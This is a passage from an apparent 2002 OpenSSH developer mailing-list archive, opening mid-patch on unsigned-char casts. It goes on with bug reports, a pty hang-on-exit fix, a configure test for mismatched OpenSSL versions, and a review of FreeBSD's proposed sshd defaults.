+		for (size = 0; isdigit((u_char) *cp);)
 			size = size * 10 + (*cp++ - '0');
 		if (*cp++ != ' ')
 			SCREWUP("size not delimited");
Index: sshconnect.c
===================================================================
RCS file: /cvs/openssh/sshconnect.c,v
retrieving revision 1.99
diff -u -p -r1.99 sshconnect.c
--- sshconnect.c	1 Aug 2002 01:26:30 -0000	1.99
+++ sshconnect.c	2 Aug 2002 23:02:04 -0000
@@ -822,7 +822,7 @@ void
 ssh_login(Sensitive *sensitive, const char *orighost,
     struct sockaddr *hostaddr, struct passwd *pw)
 {
-	char *host, *cp;
+	u_char *host, *cp;
 	char *server_user, *local_user;
 
 	local_user = xstrdup(pw->pw_name);
Index: openbsd-compat/inet_aton.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/inet_aton.c,v
retrieving revision 1.4
diff -u -p -r1.4 inet_aton.c
--- openbsd-compat/inet_aton.c	12 Apr 2002 03:35:40 -0000	1.4
+++ openbsd-compat/inet_aton.c	2 Aug 2002 23:02:05 -0000
@@ -103,7 +103,7 @@ inet_aton(const char *cp, struct in_addr
 {
 	register u_int32_t val;
 	register int base, n;
-	register char c;
+	register u_char c;
 	unsigned int parts[4];
 	register unsigned int *pp = parts;
 
Index: openbsd-compat/mktemp.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/mktemp.c,v
retrieving revision 1.2
diff -u -p -r1.2 mktemp.c
--- openbsd-compat/mktemp.c	13 Feb 2002 05:00:16 -0000	1.2
+++ openbsd-compat/mktemp.c	2 Aug 2002 23:02:05 -0000
@@ -165,7 +165,7 @@ _gettemp(path, doopen, domkdir, slen)
 					return (0);
 				*trv++ = 'a';
 			} else {
-				if (isdigit(*trv))
+				if (isdigit((u_char)*trv))
 					*trv = 'a';
 				else if (*trv == 'z')	/* inc from z to A */
 					*trv = 'A';
Index: openbsd-compat/readpassphrase.c
===================================================================
RCS file: /cvs/openssh/openbsd-compat/readpassphrase.c,v
retrieving revision 1.8
diff -u -p -r1.8 readpassphrase.c
--- openbsd-compat/readpassphrase.c	1 May 2002 12:00:22 -0000	1.8
+++ openbsd-compat/readpassphrase.c	2 Aug 2002 23:02:05 -0000
@@ -58,7 +58,8 @@ readpassphrase(const char *prompt, char 
 {
 	ssize_t nr;
 	int input, output, save_errno;
-	char ch, *p, *end;
+	char *p, *end;
+	u_char ch;
 	struct termios term, oterm;
 	struct sigaction sa, saveint, savehup, savequit, saveterm;
 	struct sigaction savetstp, savettin, savettou;



From bugzilla-daemon at mindrot.org  Sun Aug  4 12:03:45 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Sun,  4 Aug 2002 12:03:45 +1000 (EST)
Subject: [Bug 3] sshd does not properly daemonize itself
Message-ID: <20020804020345.7A1603D13D@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=3

stevesk at pobox.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|REOPENED                    |RESOLVED
         Resolution|                            |WONTFIX



------- Additional Comments From stevesk at pobox.com  2002-01-06 12:39 -------
a decision has been made to not do this.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From kumaresh_ind at gmx.net  Sat Aug  3 21:05:50 2002
From: kumaresh_ind at gmx.net (kumar)
Date: Sat, 3 Aug 2002 16:35:50 +0530
Subject: kerberos4 problems
References: <20020627133056.34672.qmail@web20507.mail.yahoo.com>
Message-ID: <017f01c23add$bcbf1ce0$390110ac@kursi>

Hello All,

I am using the HP ANSI C++/C B3910B A.05.36 version of compiler in HP-UX
11i. When i tried to install kerberos4 in this machine , i came across the
following problems when we run "make".
Making all in krb
        ../../lib/com_err/compile_et krb_err.et
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yylsp' in load module
'/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yyolsp' in load module
'/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yyfnd' in load module
'/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yytextuc' in load module
'/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yylenguc' in load module
'/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yylstate' in load module
'/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yyprevious' in load
module '/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yytextarr' in load module
'/usr/lib/hpux32/libl.so.1'.
/usr/lib/hpux32/dld.so: Unsatisfied data symbol 'yyextra' in load module
'/usr/lib/hpux32/libl.so.1'.
*** Termination signal 9

I could not identify the cause for the error. Could anybody point me out the
reason and the possible solution to fix for the problem.

advance thanks for the help.
Kumaresh.




From jjaakkol at cs.helsinki.fi  Sun Aug  4 05:02:27 2002
From: jjaakkol at cs.helsinki.fi (Jani Jaakkola)
Date: Sat, 3 Aug 2002 22:02:27 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.44.0208030000470.1034-100000@loussa.kamppa>
Message-ID: <Pine.LNX.4.44.0208032133090.1034-100000@loussa.kamppa>

On Sat, 3 Aug 2002, Jani Jaakkola wrote:

> My suggestion is that instead of just closing the channel when the 
> session process dies, sshd should effort to empty the pty buffer before 
> closing the channel. This could be implemented so that 
> when the session process dies, sshd should read (and buffer) the pty 
> master data until it gets EAGAIN and then close the channel. All 
> pending output from dead session processes should allready be in the pty 
> buffer, so first EAGAIN means that all of it has been read processed.
> 
> I guess I will attempt to implement this, but it will take some time (I 
> will need to learn how session.c and serverloop.c work first).

OK, now I have implemented it. Currently only for protocol 2, but a 
similar thing can be implemented for protocol 1 (and the protocol 1 patch 
would be simpler).

Here is what it does (or should do; I have made mistakes before):

- Applies against openssh-3.4p1
- This patch only changes behavior of ssh protocol 2 sessions with a tty.
  Everything else should remain as it was.
- It does its job by reading all immediately available data from the
  pty when the pty session process dies. This should include all data
  from the pty session foreground processes.
- It can and will lose data from pty session background processes.
- It might still hang indefinetely, if the background processes keep
  producing more data than the sshd process can read and transfer to 
  client (so that pty buffer will never get completely empty). I consider 
  this a feature of this solution, not a bug.

Here is a way to test it. Running this nice and simple shell command:

$ ssh -2 -t localhost 'echo start; nohup sh -c "(sleep 10; echo hang-on-exit-bug) > `tty`" > /dev/null & sleep 1; echo stop'

Will take about ten seconds and give this kind of output, if you have the 
hang-on-exit bug:

<CLIP>
start
stop
hang-on-exit-bug
Connection to localhost closed.
</CLIP>

With Markus Friedls patch it will sometimes lose data and give output like 
this:

<CLIP>
start
Connection to localhost closed.
</CLIP>

Note that it might take many tries to actually lose the data and that with 
some environments it might never happen. But the race sure is there.

With my patch it should always give output like this in about 1 sec 
(and authentication delays):

<CLIP>
start
stop
Connection to localhost closed.
</CLIP>

The patch follows. It is also available from 
http://www.cs.helsinki.fi/u/jjaakkol/openssh-hang-on-exit.patch

- Jani

diff -bur openssh-3.4p1.orig/channels.c openssh-3.4p1/channels.c
--- openssh-3.4p1.orig/channels.c	Wed Jun 26 12:14:43 2002
+++ openssh-3.4p1/channels.c	Sat Aug  3 18:39:38 2002
@@ -245,6 +245,8 @@
 	buffer_init(&c->extended);
 	c->ostate = CHAN_OUTPUT_OPEN;
 	c->istate = CHAN_INPUT_OPEN;
+	c->read_last_input=0;
+	c->timeout_ms=UINT_MAX;
 	c->flags = 0;
 	channel_register_fds(c, rfd, wfd, efd, extusage, nonblock);
 	c->self = found;
@@ -1232,14 +1234,32 @@
 	char buf[16*1024];
 	int len;
 
+	/* If read_last_input is set, we ignore the reaset bit since
+	 * we want to catch EAGAIN. */
 	if (c->rfd != -1 &&
-	    FD_ISSET(c->rfd, readset)) {
+	    (c->read_last_input || FD_ISSET(c->rfd, readset)) ) {
 		len = read(c->rfd, buf, sizeof(buf));
-		if (len < 0 && (errno == EINTR || errno == EAGAIN))
+		if (len < 0) {
+			if ( errno == EINTR ) return 1;
+			/*
+			 * if channel->read_last_input is not set, 
+			 * EAGAIN means (as usual) that we try later again.
+			 * 
+			 * If channel->read_last_input is set, we
+			 * close the read channel on first EAGAIN.
+			 */
+			if ( errno == EAGAIN && !c->read_last_input) {
 			return 1;
+			}
+		}
 		if (len <= 0) {
 			debug("channel %d: read<=0 rfd %d len %d",
 			    c->self, c->rfd, len);
+			if (c->read_last_input) {
+				verbose("hang-on-exit protocol 2 workaround finished.");
+				c->read_last_input=0;
+				c->timeout_ms=0;
+			}
 			if (c->type != SSH_CHANNEL_OPEN) {
 				debug("channel %d: not open", c->self);
 				chan_mark_dead(c);
@@ -1507,7 +1527,8 @@
 }
 
 static void
-channel_handler(chan_fn *ftab[], fd_set * readset, fd_set * writeset)
+channel_handler(chan_fn *ftab[], fd_set * readset, fd_set * writeset,
+		u_int *timeout_milliseconds)
 {
 	static int did_init = 0;
 	int i;
@@ -1523,6 +1544,12 @@
 			continue;
 		if (ftab[c->type] != NULL)
 			(*ftab[c->type])(c, readset, writeset);
+		/* Check if this channel wants a timeout for some reason */
+		/* NOTE: for serverloop timeout_milliseconds==0 means 
+		 * no timeout set instead of zero millisecond timeout */
+		if (timeout_milliseconds && c->timeout_ms!=UINT_MAX &&
+		    (*timeout_milliseconds == 0 || c->timeout_ms<*timeout_milliseconds) )
+			*timeout_milliseconds=c->timeout_ms;
 		channel_garbage_collect(c);
 	}
 }
@@ -1530,9 +1557,11 @@
 /*
  * Allocate/update select bitmasks and add any bits relevant to channels in
  * select bitmasks.
+ * Also let channels adjust the max_time_milliseconds select() timeout
  */
 void
-channel_prepare_select(fd_set **readsetp, fd_set **writesetp, int *maxfdp,
+channel_prepare_select(fd_set **readsetp, fd_set **writesetp, 
+    u_int *max_time_milliseconds, int *maxfdp,
     int *nallocp, int rekeying)
 {
 	int n;
@@ -1552,7 +1581,8 @@
 	memset(*writesetp, 0, sz);
 
 	if (!rekeying)
-		channel_handler(channel_pre, *readsetp, *writesetp);
+		channel_handler(channel_pre, *readsetp, *writesetp, 
+				max_time_milliseconds);
 }
 
 /*
@@ -1562,7 +1592,7 @@
 void
 channel_after_select(fd_set * readset, fd_set * writeset)
 {
-	channel_handler(channel_post, readset, writeset);
+	channel_handler(channel_post, readset, writeset, NULL);
 }
 
 
diff -bur openssh-3.4p1.orig/channels.h openssh-3.4p1/channels.h
--- openssh-3.4p1.orig/channels.h	Wed Jun 26 02:17:37 2002
+++ openssh-3.4p1/channels.h	Sat Aug  3 17:20:19 2002
@@ -70,6 +70,16 @@
 	int     self;		/* my own channel identifier */
 	int     remote_id;	/* channel identifier for remote peer */
 	u_int   istate;		/* input from channel (state of receive half) */
+	/* read_last_input state is a hack to force the channel to read
+	 * all immediately available data from the input fd and close it
+	 * on first EAGAIN. This is needed to properly fix the 
+	 * "hang-on-exit bug".
+	 * XXX : maybe read_last_input should be merged to istate, but that
+	 *       is a larger hack. */
+	int     read_last_input;
+	/* Should this channel add a timeout to
+	 * select() loop. UINT_MAX if no timeout. */
+	u_int   timeout_ms;
 	u_int   ostate;		/* output to channel  (state of transmit half) */
 	int     flags;		/* close sent/rcvd */
 	int     rfd;		/* read fd */
@@ -180,7 +190,7 @@
 
 /* file descriptor handling (read/write) */
 
-void	 channel_prepare_select(fd_set **, fd_set **, int *, int*, int);
+void	 channel_prepare_select(fd_set **, fd_set **, u_int *, int *, int*, int);
 void     channel_after_select(fd_set *, fd_set *);
 void     channel_output_poll(void);
 
diff -bur openssh-3.4p1.orig/clientloop.c openssh-3.4p1/clientloop.c
--- openssh-3.4p1.orig/clientloop.c	Wed Jun 26 02:17:37 2002
+++ openssh-3.4p1/clientloop.c	Sat Aug  3 17:23:01 2002
@@ -322,7 +322,7 @@
     int *maxfdp, int *nallocp, int rekeying)
 {
 	/* Add any selections by the channel mechanism. */
-	channel_prepare_select(readsetp, writesetp, maxfdp, nallocp, rekeying);
+	channel_prepare_select(readsetp, writesetp, NULL, maxfdp, nallocp, rekeying);
 
 	if (!compat20) {
 		/* Read from the connection, unless our buffers are full. */
diff -bur openssh-3.4p1.orig/serverloop.c openssh-3.4p1/serverloop.c
--- openssh-3.4p1.orig/serverloop.c	Wed Jun 26 02:17:37 2002
+++ openssh-3.4p1/serverloop.c	Sat Aug  3 21:37:26 2002
@@ -261,7 +261,8 @@
 	}
 
 	/* Allocate and update select() masks for channel descriptors. */
-	channel_prepare_select(readsetp, writesetp, maxfdp, nallocp, 0);
+	channel_prepare_select(readsetp, writesetp, &max_time_milliseconds,
+			       maxfdp, nallocp, 0);
 
 	if (compat20) {
 #if 0
@@ -308,7 +309,8 @@
 	 * from it, then read as much as is available and exit.
 	 */
 	if (child_terminated && packet_not_very_much_data_to_write())
-		if (max_time_milliseconds == 0 || client_alive_scheduled)
+		if (max_time_milliseconds == 0 || 
+		    (client_alive_scheduled && max_time_milliseconds>100) )
 			max_time_milliseconds = 100;
 
 	if (max_time_milliseconds == 0)
diff -bur openssh-3.4p1.orig/session.c openssh-3.4p1/session.c
--- openssh-3.4p1.orig/session.c	Wed Jun 26 16:51:06 2002
+++ openssh-3.4p1/session.c	Sat Aug  3 21:41:03 2002
@@ -1835,11 +1835,27 @@
 	/*
 	 * emulate a write failure with 'chan_write_failed', nobody will be
 	 * interested in data we write.
-	 * Note that we must not call 'chan_read_failed', since there could
+	 * Note that for the non-pty case we must not call 'chan_read_failed',
+	 * since there could
 	 * be some more data waiting in the pipe.
 	 */
 	if (c->ostate != CHAN_OUTPUT_CLOSED)
 		chan_write_failed(c);
+	/* Check if we need the hang-on-exit bug workaround */
+	if (s->ttyfd != -1 && c->istate == CHAN_INPUT_OPEN) {
+		/* Set the channel read_last_input state so that we 
+		 * can empty the pty buffer, before forcing the read side 
+		 * closed.
+		 * XXX: this thing should probably be moved to channels.c,
+	         * to its own function.
+		 */
+		c->read_last_input=1;
+		/* XXX: Note that we cannot set the timeout to 0ms, since
+		 * serverloop interprets 0 as no timeout set instead of 
+		 * 0ms timeout */
+		c->timeout_ms=10;
+		verbose("hang-on-exit protocol 2 workaround applied");
+	}
 	s->chanid = -1;
 }
 



From dtucker at zip.com.au  Sun Aug  4 10:57:34 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Sun, 04 Aug 2002 10:57:34 +1000
Subject: [Patch] Improve diags for "OpenSSL headers match library" configure 
 test
References: <Pine.BSO.4.44.0208031008130.29203-100000@etoh.eviladmin.org>
Message-ID: <3D4C7BFE.743DB9CA@zip.com.au>

Ben Lindstrom wrote:
> This is extactly what I was thinking.  It will at least let people know
> that they truly do have multiple OpenSSL versions co-mingled.  It would be
> nice if there was a way to pin point the two deviant versions and let the
> user known where he has to clean up, but I think that is asking way too
> much.

The only way I could come up with to do that is a horrible hack (see
http://www.zip.com.au/~dtucker/openssh/findssl.sh). If that's what you
want you can ship in in contrib/ or somthing.

> Maybe a blerb in INSTALL talking about cleaning up multiple OpenSSL
> versions and have the failure point to INSTALL's section.

I started to write something like this, it's on my web page. If you want
I can rewrite it to be added to INSTALL.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.


From dtucker at zip.com.au  Sat Aug  3 21:42:10 2002
From: dtucker at zip.com.au (Darren Tucker)
Date: Sat, 03 Aug 2002 21:42:10 +1000
Subject: [Patch] Improve diags for "OpenSSL headers match library" configure 
 test
References: <Pine.BSO.4.44.0207291705320.1379-100000@etoh.eviladmin.org>
Message-ID: <3D4BC192.1EE19239@zip.com.au>

Ben Lindstrom wrote:
> Suggestion.  Can we seperate the tests?
> 
> OpenSSL header version you have is...<version number>
> OpenSSL library version you have is..<version number>
> Error: Header and Library conflict, please check for multiple version
> installed.
> 
> Or something like that.

How's this? It's based on the --with-default-path handling as suggested
by Tim.

Because the header test returns the text description string too, I kept
the original library/header test. Example output:

checking OpenSSL header version... 90604f (OpenSSL 0.9.6d 9 May 2002)
checking OpenSSL library version... 90604f (OpenSSL 0.9.6d 9 May 2002)
checking whether OpenSSL's headers match the library... yes

checking OpenSSL header version... 90604f (OpenSSL 0.9.6d 9 May 2002)
checking OpenSSL library version... 90602f (OpenSSL 0.9.6b [engine] 9
Jul 2001)
checking whether OpenSSL's headers match the library... no
configure: error: Your OpenSSL headers do not match your library

-- 
Darren Tucker (dtucker at zip.com.au)
GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
    Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.
-------------- next part --------------
Index: configure.ac
===================================================================
RCS file: /cvs/openssh/configure.ac,v
retrieving revision 1.84
diff -u -r1.84 configure.ac
--- configure.ac	23 Jul 2002 00:00:06 -0000	1.84
+++ configure.ac	3 Aug 2002 11:39:13 -0000
@@ -764,6 +764,70 @@
 	]
 )
 
+# Determine OpenSSL header version
+AC_MSG_CHECKING([OpenSSL header version])
+AC_TRY_RUN(
+	[
+#include <stdio.h>
+#include <string.h>
+#include <openssl/opensslv.h>
+#define DATA "conftest.sslincver"
+int main(void) {
+        FILE *fd;
+        int rc;
+
+        fd = fopen(DATA,"w");
+        if(fd == NULL)
+                exit(1);
+
+	if ((rc = fprintf(fd ,"%x (%s)\n", OPENSSL_VERSION_NUMBER, OPENSSL_VERSION_TEXT)) <0)
+		exit(1);
+
+	exit(0);
+}
+	],
+	[
+		ssl_header_ver=`cat conftest.sslincver`
+		AC_MSG_RESULT($ssl_header_ver)
+	],
+	[
+		AC_MSG_RESULT(not found)
+		AC_MSG_ERROR(OpenSSL version header not found.)
+	]
+)
+
+# Determine OpenSSL header version
+AC_MSG_CHECKING([OpenSSL library version])
+AC_TRY_RUN(
+	[
+#include <stdio.h>
+#include <string.h>
+#include <openssl/opensslv.h>
+#include <openssl/crypto.h>
+#define DATA "conftest.ssllibver"
+int main(void) {
+        FILE *fd;
+        int rc;
+
+        fd = fopen(DATA,"w");
+        if(fd == NULL)
+                exit(1);
+
+	if ((rc = fprintf(fd ,"%x (%s)\n", SSLeay(), SSLeay_version(SSLEAY_VERSION))) <0)
+		exit(1);
+
+	exit(0);
+}
+	],
+	[
+		ssl_library_ver=`cat conftest.ssllibver`
+		AC_MSG_RESULT($ssl_library_ver)
+	],
+	[
+		AC_MSG_RESULT(not found)
+		AC_MSG_ERROR(OpenSSL library not found.)
+	]
+)
 
 # Sanity check OpenSSL headers
 AC_MSG_CHECKING([whether OpenSSL's headers match the library])

From mouring at etoh.eviladmin.org  Sun Aug  4 01:13:49 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Sat, 3 Aug 2002 10:13:49 -0500 (CDT)
Subject: [Patch] Improve diags for "OpenSSL headers match library"
 configure  test
In-Reply-To: <3D4BC192.1EE19239@zip.com.au>
Message-ID: <Pine.BSO.4.44.0208031008130.29203-100000@etoh.eviladmin.org>

This is extactly what I was thinking.  It will at least let people know
that they truly do have multiple OpenSSL versions co-mingled.  It would be
nice if there was a way to pin point the two deviant versions and let the
user known where he has to clean up, but I think that is asking way too
much.  Maybe a blerb in INSTALL talking about cleaning up multiple OpenSSL
versions and have the failure point to INSTALL's section.

Tim, if you don't have any complaints on it.  It has my blessing.  Since
the upstream tree is down.  I won't be able to commit it more than likely
until I get back from my trip.

- Ben

On Sat, 3 Aug 2002, Darren Tucker wrote:

> Ben Lindstrom wrote:
> > Suggestion.  Can we seperate the tests?
> >
> > OpenSSL header version you have is...<version number>
> > OpenSSL library version you have is..<version number>
> > Error: Header and Library conflict, please check for multiple version
> > installed.
> >
> > Or something like that.
>
> How's this? It's based on the --with-default-path handling as suggested
> by Tim.
>
> Because the header test returns the text description string too, I kept
> the original library/header test. Example output:
>
> checking OpenSSL header version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> checking OpenSSL library version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> checking whether OpenSSL's headers match the library... yes
>
> checking OpenSSL header version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> checking OpenSSL library version... 90602f (OpenSSL 0.9.6b [engine] 9
> Jul 2001)
> checking whether OpenSSL's headers match the library... no
> configure: error: Your OpenSSL headers do not match your library
>
> --
> Darren Tucker (dtucker at zip.com.au)
> GPG Fingerprint D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
>     Good judgement comes with experience. Unfortunately, the experience
> usually comes from bad judgement.



From djm at mindrot.org  Sun Aug  4 16:44:08 2002
From: djm at mindrot.org (Damien Miller)
Date: 04 Aug 2002 16:44:08 +1000
Subject: Test message
Message-ID: <1028443449.13169.2.camel@mothra.mindrot.org>

This is a test message, please ignore.



From djm at mindrot.org  Sun Aug  4 17:08:52 2002
From: djm at mindrot.org (Damien Miller)
Date: 04 Aug 2002 17:08:52 +1000
Subject: Administrivia
Message-ID: <1028444932.13169.24.camel@mothra.mindrot.org>

I have just hooked up SpamAssassin[1] to the openssh-unix-dev mailing
list. Hopefully this will mitigate further annoyances from spammers that
have been harassing the list.

It is sure that there will be some "false positives" in the attempt to
remove spam. If you find your email being consistently dropped, please
contact me and I'll look into it.

-d

[1] http://spamassassin.org/ (I cannot recommend this product enough)



From nhuynh01 at sprintspectrum.com  Fri Aug  2 03:44:52 2002
From: nhuynh01 at sprintspectrum.com (Huynh, Neil H)
Date: Thu, 1 Aug 2002 12:44:52 -0500 
Subject: First time user: set up ssh/scp without having password entered.
Message-ID: <0BB09622E5DDD311992F0000D1ECDA7008A6D3AC@pkcexv020.sprintspectrum.com>

SSH wizards, I hope you all can helps!

I have two Unix Solaris (2.8 version) machines A and B installed SSH (A has
OpenSSH_3.2.3p1 and B has OpenSSH_3.1p1), I am trying to set up running scp
in both directions between A and B without having to enter password.


From bugzilla-daemon at mindrot.org  Mon Aug  5 05:20:25 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Mon,  5 Aug 2002 05:20:25 +1000 (EST)
Subject: [Bug 380] New: SSH compiled to use EGD.PL won't start without it!!
Message-ID: <20020804192025.97E863D153@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=380

           Summary: SSH compiled to use EGD.PL won't start without it!!
           Product: Portable OpenSSH
           Version: -current
          Platform: UltraSparc
        OS/Version: Solaris
            Status: NEW
          Severity: major
          Priority: P2
         Component: sshd
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: list_7531 at hotmail.com


Hi,

I'm trying to start SSHD / SSH and they won't start. 

I am using version 3.4.1p1 which I compiled with the "with-rand-helper" option.
Unfortunately
my EGD.pl script is presently malfunctioning, and SSH and SSHD report "not
enough entropy" then quit.

I also get this problem with version 3.2.3.p3 which I compiled with the
"with-rand-helper" option.

Please let me know if you are able to add a "force-no-egd" option to make
SSH run using the SSH internal entropy routines (as if it had been compiled
without the "with-rand-helper" option).

(In the meantime, I should be able to compile another set of SSH programs,
without the "with-rand-helper" option.)

Would this issue make a denial-of-service situation possible?

Thanks,

Adrian



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From mouring at etoh.eviladmin.org  Mon Aug  5 08:02:03 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Sun, 4 Aug 2002 17:02:03 -0500 (CDT)
Subject: Full FreeBSD patchset
In-Reply-To: <xzplm9240q9.fsf@flood.ping.uio.no>
Message-ID: <Pine.BSO.4.44.0208041648450.29203-100000@etoh.eviladmin.org>


On 26 Jun 2002, Dag-Erling Smorgrav wrote:

> Attached are the full FreeBSD patches for OpenSSH-3.3p1, including
> privsep support for PAM.  It is not quite complete but works well
> enough for authentication.  Here's a short review of our changes:
>
> 0) VersionAddendum
>
>    The SSH protocol allows for a human-readable version string of up
>    to 40 characters to be appended to the protocol version string.
>    FreeBSD takes advantage of this to include a date indicating the
>    "patch level", so people can easily determine whether their system
>    is vulnerable when an OpenSSH advisory goes out.  Some people,
>    however, dislike advertising their patch level in the protocol
>    handshake, so we've added a VersionAddendum configuration variable
>    to allow them to change or disable it.
>

This has been rejected more than then I can count.


> 1) Modified server-side defaults
>
>    We've modified some configuration defaults in sshd:
>
>       - For protocol version 2, we don't load RSA host keys by
>         default.  If both RSA and DSA keys are present, we prefer DSA
>         to RSA.
>

I don't know about everyone else's view.  But I don't like this.  You are
forcing policy that should not be forced.  Users make policy.  Not
software.  And as an admin at my work my policy is RSA over DSA.  Mainly
because it is established and well known.  DSA does not have a long enough
track record.  However, I'd never force anyone to use RSA over DSA based
my company's beliefs.


>       - LoginGraceTime defaults to 120 seconds instead of 600.
>

This I could agree with.  10 minutes is a bit long.

>       - PermitRootLogin defaults to "no".
>
>       - X11Forwarding defaults to "yes" (it's a threat to the client,
>         not to the server.)
>
>       - Unless the config file says otherwise, we automatically enable
>         Kerberos support if an appropriate keytab is present.
>

I don't like automaticaly enabled things.  Things should be ON or OFF.  We
just got done removing something sorta like this.  To do so otherwise is
damn confusing to the person admining the box.=)

>       - PAMAuthenticationViaKbdInt defaults to "yes".
>
> 2) Modified client-side defaults
>
>    We've modified some configuration defaults in ssh:
>
>       - For protocol version 2, if both RSA and DSA keys are present,
>         we prefer DSA to RSA.
>
>       - CheckHostIP defaults to "no".
>
I don't agree.

> 3) Canonic host names
>
>    We've added code to ssh.c to canonicize the target host name after
>    reading options but before trying to connect.  This eliminates the
>    usual problem with duplicate known_hosts entries.
>
> 4) OPIE
>
>    We've added support for using OPIE as a drop-in replacement for
>    S/Key.
>
> 5) PAM
>
>    We use our own PAM code, which wraps PAM in a KbdintDevice and
>    works with privsep, instead of OpenSSH's own PAM code.
>

I could have swore we agree this code should be merged into one place for
PAM code.  Having a seperate file is wrong.  Plus I could have swore the
agreement was to move to 2-clause.


No other OS group sends a patch with such broad affect.  I don't see
why FreeBSD should be favorated.  It make it hard to decide what we want
and don't want.  It also makes it unlike that any of the patch will be
included because it requires us to pick it apart.  Which I rarely happens.

- Ben



From bugzilla-daemon at mindrot.org  Mon Aug  5 13:11:48 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Mon,  5 Aug 2002 13:11:48 +1000 (EST)
Subject: [Bug 380] SSH compiled to use EGD.PL won't start without it!!
Message-ID: <20020805031148.B34A83D16B@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=380

djm at mindrot.org changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |WONTFIX



------- Additional Comments From djm at mindrot.org  2002-08-05 13:11 -------
If you configure it to use EGD/PRNGd then it is your responsability to ensure
that they work. 

If you want some sort of redundancy, then configure with the rand-helper, but
replace it with a script. This script could, for example, try query EGD but fall
back to the original ssh-rand-helper if it didn't work.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From djm at mindrot.org  Mon Aug  5 13:43:55 2002
From: djm at mindrot.org (Damien Miller)
Date: 05 Aug 2002 13:43:55 +1000
Subject: Full FreeBSD patchset
In-Reply-To: <Pine.BSO.4.44.0208041648450.29203-100000@etoh.eviladmin.org>
References: <Pine.BSO.4.44.0208041648450.29203-100000@etoh.eviladmin.org>
Message-ID: <1028519035.26789.33.camel@xenon.mel.my-fortress.com>

On Mon, 2002-08-05 at 08:02, Ben Lindstrom wrote:

> I don't know about everyone else's view.  But I don't like this.  You are
> forcing policy that should not be forced.  Users make policy.  Not
> software.  And as an admin at my work my policy is RSA over DSA.  Mainly
> because it is established and well known.  DSA does not have a long enough
> track record.  However, I'd never force anyone to use RSA over DSA based
> my company's beliefs.

Actually, RSA is a better choice when the source of random numbers is
suspect (such as many commerical Unices), read WARNING.RNG in the
portable distribution for more details. RSA auth also seems to be a lot
quicker than DSA on slow machines.

That being said, DSA is a MUST in the protocol while RSA is optional.

Putty have a modification to DSA which makes it more secure in the face
of guessable nonces, it would be good if we got something similar.

> >    We use our own PAM code, which wraps PAM in a KbdintDevice and
> >    works with privsep, instead of OpenSSH's own PAM code.
> 
> I could have swore we agree this code should be merged into one place for
> PAM code.  Having a seperate file is wrong.  Plus I could have swore the
> agreement was to move to 2-clause.

I would still like to see that code merged (I would have sooner, but for
moving house). If someone could shoot me an up-to-date diff, I'll take
another look.

-d





From tim at multitalents.net  Mon Aug  5 14:01:04 2002
From: tim at multitalents.net (Tim Rice)
Date: Sun, 4 Aug 2002 21:01:04 -0700 (PDT)
Subject: [Patch] Improve diags for "OpenSSL headers match library"
 configure  test
In-Reply-To: <Pine.BSO.4.44.0208031008130.29203-100000@etoh.eviladmin.org>
Message-ID: <Pine.UW2.4.44.0208042059110.6790-100000@ou8.int.multitalents.net>

On Sat, 3 Aug 2002, Ben Lindstrom wrote:

>
> This is extactly what I was thinking.  It will at least let people know
> that they truly do have multiple OpenSSL versions co-mingled.  It would be
> nice if there was a way to pin point the two deviant versions and let the
> user known where he has to clean up, but I think that is asking way too
> much.  Maybe a blerb in INSTALL talking about cleaning up multiple OpenSSL
> versions and have the failure point to INSTALL's section.
>
> Tim, if you don't have any complaints on it.  It has my blessing.  Since
> the upstream tree is down.  I won't be able to commit it more than likely
> until I get back from my trip.

This looks good. When CVS comes back up we'll get it in.

>
> - Ben
>
> On Sat, 3 Aug 2002, Darren Tucker wrote:
> >
> > checking OpenSSL header version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> > checking OpenSSL library version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> > checking whether OpenSSL's headers match the library... yes

-- 
Tim Rice				Multitalents	(707) 887-1469
tim at multitalents.net




